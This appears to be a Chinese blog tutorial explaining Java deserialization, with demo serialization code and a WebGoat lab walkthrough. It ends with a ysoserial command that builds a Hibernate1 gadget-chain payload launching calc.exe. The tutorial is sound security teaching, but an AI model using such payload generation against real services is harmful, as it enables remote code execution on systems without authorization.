反序列化漏洞_WEB漏洞 JAVA 反序列化

5dc51118d6e44690a33f241d32fd2a55.png

#序列化和反序列化

序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。

反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。

  • Java反序列化及命令执行代码测试

  1. 在IDE创建一个package包,包名为SerialTest

  2. 包中创建三个类文件 Main  Person  SerializableTest

Main文件代码

// 执行DOS命令

package SerialTest;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.nio.charset.Charset;public class Main {    public static void main(String args[]) throws IOException, InterruptedException {        Process p = Runtime.getRuntime().exec("ipconfig");        java.io.InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK")));        p.waitFor();        if (p.exitValue() != 0){            // 命令执行失败 进入错误处理步骤中        }        String s = null;        while ((s = reader.readLine()) != null){            System.out.println(s);        }    }}

Person 文件  

// 待调用类

package SerialTest;import com.sun.xml.internal.ws.server.ServerRtException;import java.io.Serializable;class Person implements Serializable {    private String name;    private int age;    private String sex;    private int height;    public Person(){        this.name = null;        this.age = 0;        this.sex = null;        this.height = 0;    }    public Person(String name,int age,String sex,int height){        this.name = name;        this.age = age;        this.sex = sex;        this.height = height;    }    public   String toString(){        return "Persion{" +                "name=" + name +                ", age=" + age +                ", sex=" + sex +                ", height=" + height +                "}";    }}

SerializableTest 文件

// 序列化

package SerialTest;import java.io.*;public class SerializableTest {    public static void main(String[] args) throws Exception {        serialPerson();        Person person = deserialPerson();        System.out.println(person);    }    /**     * Person 对象序列化     * @throws IOException     */    private static void serialPerson() throws IOException{        Person person = new Person("阿杰",20,"男",175);        ObjectOutputStream oos = new ObjectOutputStream(                new FileOutputStream(new File("F:/person.txt"))        );        oos.writeObject(person);        System.out.println("person 对象序列化成功!");        oos.close();    }    /**     * Person 对象反序列化     * @return     * @throws Exception     */    private static Person deserialPerson() throws Exception {        ObjectInputStream ois = new ObjectInputStream(                new FileInputStream(new File("F:/person.txt"))        );        Person person = (Person)ois.readObject();        System.out.println("person 对象反序列化成功!");        return person;    }}

0f972fa46ad3a9b4375af7074d6bd181.png

0a8dab2f4606c130a94541e2fb167eaf.png

代码分析

java中 在ObjectOutputStream类中 有一个writeObject()方法 把指定的对象进行序列化后把字节序列写到一个目标输出流中ObjectInputStream类中 readObject()方法 从一目标输入流中读取字节序列进行反序化成一个对象 再把结果返回代码中定义了一个person类 类中含有成员属性 使用writeObject()方法 把对象序列化写进一个文本里 然后在使用readObject() 方法 从文件中读取字节序列 在还原成源对象

目前没有此文件 运行后

fe41b343b64a358e374232f5aa93eea7.png

cf229ccfeeafe5865a2b7ab43cb8f645.png

写入文件中的是字节序列 通过readObject()方法 再将对象还原。

如果对象不是字符串 而是一些命令 则反序列化后 利用java exec命令函数进行执行 就会产生命令执行漏洞。

在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。php(system()、shell_exec()、exec()、eval())JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)ThinkPHP命令执行

比如下图:

执行了ipconfig系统命令

b56b0d879c858bbb006c39488e62fb5d.png

  • WebGoat_Javaweb靶场反序列化测试

资料链接:

https://github.com/frohoff/ysoserial/releases

https://github.com/WebGoat/WebGoat/releases

cmd  输入 java -jar  webgoat-server-8.0.1.jar

注:JDK8 无法运行 版本较低 安装11以上的版本

浏览器输入 127.0.0.1:8080/WebGoat   

注册一个账号即可

fea0fd21293146dc1572f92f35859024.png

48b0783650371ea03a4c7ade0f7b2194.png

部分源码示例

public static Object fromString(String s)    throws IOException, ClassNotFoundException{    byte[] data = Base64.getDecoder().decode(s);    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));        Object o = ois.readObject();    ois.close();    return o;  }    public static String toString(Serializable o)    throws IOException{    ByteArrayOutputStream baos = new ByteArrayOutputStream();    ObjectOutputStream oos = new ObjectOutputStream(baos);    oos.writeObject(o);    oos.close();    return Base64.getEncoder().encodeToString(baos.toByteArray());  }

将对象序列化后 进行base64加密 变成了图片中的一堆字符

rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l

字符串    ——>  字节序列   序列化  writeObject()

字节序列  ——>  字符串     反序列化  readObject()

9df81596c0f168aa0a7de90502f55a2c.png


如何构造payload?

calc  ---->  序列化  ---->  base64加密=rO0AB格式开头的字符串  

java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-30099844c6-1.jar ysoserial.GeneratePayload Hibernate1 calc.exe > payload.bin

437f9141bc1967e8b9c8a478ea1f8b79.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值